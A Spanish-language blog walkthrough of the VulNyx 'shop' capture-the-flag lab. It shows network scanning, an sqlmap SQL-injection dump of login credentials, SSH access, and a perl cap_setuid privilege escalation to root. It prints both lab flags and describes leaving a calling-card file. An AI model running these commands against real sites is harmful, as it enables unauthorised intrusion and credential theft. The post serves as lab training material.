Hoy desperté con ganas de practicar un poquito de hacking ético y capturar un par de banderas. Me gustaría poder enseñarlo con un sitio real pero en estos tiempos de personitas de cristal y dictadura bien-pensante es mejor no arriesgarse. Voy a utilizar entonces una máquina de VulNyx, específicamente la máquina shop, creada por d4t4s3c y liberada el 25 de junio de 2023. Vamos pues a hackear una tienda.
Obtener la máquina no tiene ciencia. Solo vamos al sitio de VulNyx, en el cajón de búsqueda escribimos: shop, damos enter y ya está. Descargamos el comprimido de un poco más de 1 GB y lo cargamos (en mi caso en Vbox).
Esta es una máquina GNU/Linux, una distribución Debian. En su interior, como su nombre lo indica, hay un sitio web, específicamente una tienda de ropa.
En los entresijos de esa máquina vulnerable (todas lo son) hay un par de banderas que debemos capturar. Sin más preámbulo, comencemos.
Reconocimiento y escaneo.
Aunque al abrir la máquina virtual esta nos dice su local IP asignada, vamos a buscarla dentro de los equipos conectados a nuestra red. Para ello, usaré la instrucción: sudo arp-scan -I wlan0 --localnet
. OJO: ustedes deberán indicar su interfaz de red. En mi caso es la wlan0 pero ustedes pueden tener otra. La salida fue:
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.1.1 cc:d4:-------:a8 (Unknown) 192.168.1.17 88:1e:-------:d6 (Unknown) 192.168.1.31 d4:e2:-------:06 (Unknown) 192.168.1.59 34:5e:-------:7b (Unknown) 192.168.1.8 ec:2b:-------:a3 (Unknown) 192.168.1.102 08:00:27:b1:2a:22 (Unknown) 192.168.1.21 90:6a:-------:1a (Unknown) 192.168.1.57 00:16:-------:5c (Unknown) 192.168.1.108 90:6a:-------:1a (Unknown) 192.168.1.58 ec:64:-------:27 (Unknown) 10 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.876 seconds (136.46 hosts/sec). 10 responded
Esos son los equipos conectados a mi red con sus respectivas direcciones IP. La máquina que nos interesa es la 192.168.1.102. Ahora procederé a hacerle un ping para ver si hay comunicación entre ambas:
PING 192.168.1.102 (192.168.1.102) 56(84) bytes of data. 64 bytes from 192.168.1.102: icmp_seq=1 ttl=64 time=0.573 ms 64 bytes from 192.168.1.102: icmp_seq=2 ttl=64 time=0.217 ms 64 bytes from 192.168.1.102: icmp_seq=3 ttl=64 time=0.517 ms 64 bytes from 192.168.1.102: icmp_seq=4 ttl=64 time=0.278 ms 64 bytes from 192.168.1.102: icmp_seq=5 ttl=64 time=0.462 ms --- 192.168.1.102 ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 5119ms rtt min/avg/max/mdev = 0.201/0.374/0.573/0.148 ms
5 paquetes enviados, 5 recibidos, 0% perdidos. Hay comunicación entre las máquinas y puedo continuar. Ahora procederé a realizar el escaneo de puertos y servicios a ver qué hay dentro de ese bicharaco. Para esto voy a utilizar la herramienta Nmap que viene instalada en Kali Linux. El comando usado fue:
sudo nmap -p- --open -sS -sC -sV --min-rate 5000 -n -vvv -Pn 192.168.1.102
Explico el comando: -p-
escaneará todos los puertos; --open
solo nos mostrará en pantalla los puertos abiertos; -sS
hará un escaneo sigiloso; -sC
ejecutará scripts de la herramienta; -sV
nos dirá la versión de los servicios que corren; -n
para que no nos haga resolución de DNS, -vvv
para que nos muestre lo que va haciendo y -Pn
por si hay un Firewall metiche. Los datos más importantes de la salida fueron:
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
Ahora sabemos que en el puerto 80 http está corriendo una web. Abro un navegador, digito la IP y compruebo que en efecto corre una web, una tienda de ropa:
El siguiente paso será escanear y encontrar subdirectorios de interés en el sitio. Para ello, me voy a ubicar en la ruta de mi Kali Linux: /usr/share/wordlists/dirbuster que es en donde se encuentra el diccionario que voy a usar para encontrar subdirectorios del sitio web. El comando usado fue:
sudo gobuster dir -w directory-list-lowercase-2.3-medium.txt -u "http://192.168.1.102/"
El comando no requiere mayor explicación. Simplemente la herramienta gobuster toma cada una de las palabras del diccionario .txt y comprueba si concuerdan con algún archivo o directorio del sitio. En este caso la salida fue:
=============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://192.168.1.102/ [+] Threads: 10 [+] Wordlist: directory-list-lowercase-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2025/04/15 08:25:34 Starting gobuster =============================================================== /css (Status: 301) /js (Status: 301) /fonts (Status: 301) /administrator (Status: 301) /server-status (Status: 403) =============================================================== 2025/04/15 08:25:53 Finished ===============================================================
Muy interesante. Hay un directorio llamado administrator. Solo debo ingresar al sitio a ver de qué se trata. La URL en mi caso sería: http://192.168.1.102/administrator/ y lo que allí se encontraba fue:
La página de acceso del administrador del sitio. Un formulario de acceso consta siempre de unos campos donde se consignan unos datos que deben coincidir. Por pura lógica entonces sabemos que detrás de un formulario de datos siempre hay una base de datos. ¿No soy brillante? Un Kevin Mitnick tropical…
Con esto tengo suficiente para hacer el ataque. Vamos a ello.
El ataque.
Para este ataque voy a usar la herramienta SQLMap, una herramienta de código abierto para pruebas de penetración que automatiza la detección y explotación de vulnerabilidades de inyección SQL y el control de servidores de bases de datos. El comando inicial sería:
sudo sqlmap -u http://192.168.1.102/administrator/ --forms --dbs --batch
Explico el comando: -u
le indica la URL que debe ser aquella donde se encuentra el formulario de login; --forms
le pide que analice el formulario; --dbs
le pide que busque bases de datos y --batch
le dice que no me joda preguntándome güevonadas y tome sus propias decisiones como un niño grande. Lo más relevante de la salida:
available databases [4]: [*] information_schema [*] mysql [*] performance_schema [*] Webapp
El sitio tiene 4 bases de datos. Las 3 primeras no nos interesan pero la última, Webapp, es la BdD que contiene los datos que nos permiten interactuar y asignar roles en la aplicación. En esa base de datos nos concentraremos en adelante.
Una base de datos no es otra cosa que una o más tablas con filas y columnas. En las columnas encontraremos el tipo de dato asignado a cada fila, por ejemplo: nombre, ID, email, password, etc. Siendo así, vamos a buscar cuáles tablas tiene la BdD Webapp. El comando usado fue:
sudo sqlmap -u http://192.168.1.102/administrator/ --forms -D Webapp --tables --batch
La salida es otro chorizo pero al final lo que nos importa es:
[09:14:20] [INFO] retrieved: Database: Webapp [1 table] +-------+ | Users | +-------+
La base de datos Webapp tiene una sola tabla llamada Users. Ahora, debemos buscar las columnas de esa tabla para saber el tipo de datos que almacena. El comando usado fue:
sudo sqlmap -u http://192.168.1.102/administrator/ --forms -D Webapp -T Users --columns --batch
Database: Webapp Table: Users [3 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | id | int(6) | | password | varchar(32) | | username | varchar(32) | +----------+-------------+
La tabla Users, de la base de datos Webapp contiene 3 columnas: id, que será una identificación de cada usuario; password, la contraseña que cada usuario asignó para entrar y username, el nickname con el cual se presenta en la app. Ahora lo que debemos hacer es volcar esos datos con la orden:
sudo sqlmap -u http://192.168.1.102/administrator/ --forms -D Webapp -T Users -C username,password --dump --batch
Y pasados unos minutos nos arrojó:
Database: Webapp Table: Users [4 entries] +----------+--------------+ | username | password | +----------+--------------+ | bart | b4rtp0w4 | | liam | liam@nd3rs0n | | mike | mikeblabla | | peter | peter123! | +----------+--------------+
Me temo que esa máquina acaba de ser hackeada. Cuando hice el escaneo con Nmap me mostró que también estaba abierto el puerto 22 SSH así que intentaré conectarme por este medio usando alguna de las credenciales halladas. El comando sería: ssh [email protected]
, acto seguido me pide el password, se lo doy y el prompt de mi terminal cambia a: bart@shop:~$
.
Hago un listado de archivos con ls -lah
y obtengo la primera bandera: la bandera de usuario.
bart@shop:~$ ls -l total 4 -r-------- 1 bart bart 33 jun 25 2023 user.txt bart@shop:~$ cat user.txt 598a05f84190e327bc4796335d948144 bart@shop:~$
La primera bandera es: 598a05f84190e327bc4796335d948144. Sin embargo, donde hay una bandera de usuario hay una bandera de root. Para obtenerla tendré que escalar privilegios.
Escalada de privilegios.
Como sabemos que la máquina que estamos explotando es una máquina GNU/Linux, intentaremos escalar privilegios mediante las capabilities. Estos son atributos del kernel que dan permisos específicos a procesos y binarios. Las capabilities permiten que los usuarios no root realicen operaciones privilegiadas sin tener permisos completos de root. Para ello, desde la cuenta de usuario en que nos encontremos usaremos el comando: /usr/sbin/getcap -r / 2>/dev/null
. Debemos obtener:
/usr/bin/perl5.28.1 = cap_setuid+ep /usr/bin/perl = cap_setuid+ep
La salida nos muestra 2 binarios. Para escalar privilegios nos ocuparemos del segundo, el binario perl. La orden a ejecutar sería:
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
La salida será que nuestro prompt vuelva a cambiar. En mi caso pasó de ser bart@shop:~$
a ser solo una almohadilla #
. Si le pregunto: whoami
la respuesta será root
. Hemos escalado privilegios. Vamos un paso atrás para listar las carpetas del sistema con cd ..
y después ls -l
y obtenemos:
total 60 lrwxrwxrwx 1 root root 7 jun 16 2021 bin -> usr/bin drwxr-xr-x 3 root root 4096 jun 16 2021 boot drwxr-xr-x 17 root root 3180 abr 15 14:12 dev drwxr-xr-x 74 root root 4096 abr 15 14:12 etc drwxr-xr-x 3 root root 4096 jun 16 2021 home lrwxrwxrwx 1 root root 31 jun 16 2021 initrd.img -> boot/initrd.img-4.19.0-16-amd64 lrwxrwxrwx 1 root root 31 jun 16 2021 initrd.img.old -> boot/initrd.img-4.19.0-14-amd64 lrwxrwxrwx 1 root root 7 jun 16 2021 lib -> usr/lib lrwxrwxrwx 1 root root 9 jun 16 2021 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 jun 16 2021 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 jun 16 2021 libx32 -> usr/libx32 drwx------ 2 root root 16384 jun 16 2021 lost+found drwxr-xr-x 3 root root 4096 jun 16 2021 media drwxr-xr-x 2 root root 4096 jun 16 2021 mnt drwxr-xr-x 2 root root 4096 jun 16 2021 opt dr-xr-xr-x 134 root root 0 abr 15 14:12 proc drwx------ 3 root root 4096 dic 29 17:30 root drwxr-xr-x 17 root root 520 abr 15 16:47 run lrwxrwxrwx 1 root root 8 jun 16 2021 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 jun 16 2021 srv dr-xr-xr-x 13 root root 0 abr 15 14:12 sys drwxrwxrwt 9 root root 4096 abr 15 17:09 tmp drwxr-xr-x 13 root root 4096 jun 16 2021 usr drwxr-xr-x 12 root root 4096 jun 16 2021 var lrwxrwxrwx 1 root root 28 jun 16 2021 vmlinuz -> boot/vmlinuz-4.19.0-16-amd64 lrwxrwxrwx 1 root root 28 jun 16 2021 vmlinuz.old -> boot/vmlinuz-4.19.0-14-amd64
De aquí nos interesa el directorio root. Entramos a él con cd root
y listamos su contenido con ls
:
# cd root # pwd /root # ls root.txt # cat root.txt 1c4cddb6c20e0e756163b2a9714a1260 #
Ahí tenemos nuestra segunda bandera. En este caso la del usuario administrador. La máquina ha sido hackeada por completo. Ahora solo se me antoja dejar un mensaje de despedida:
Voy un paso atrás con cd .. Entro al directorio home con cd home
y después al directorio del usuario bart con cd bart
. Creo una carpeta llamada KarnivWasHere (mkdir KarnivWasHere
) y un archivo llamado No-te-preocupes.txt (nano No-te-preocupes.txt
). En un escenario real el administrador encontraría el siguiente mensaje:
«no te preocupes, estuve aquí pero no vine a hacer daño. Solo mejora la seguridad de tu sitio. Bye.»

Y eso es todo. Espero les sirva. Buen provecho y hasta la próxima.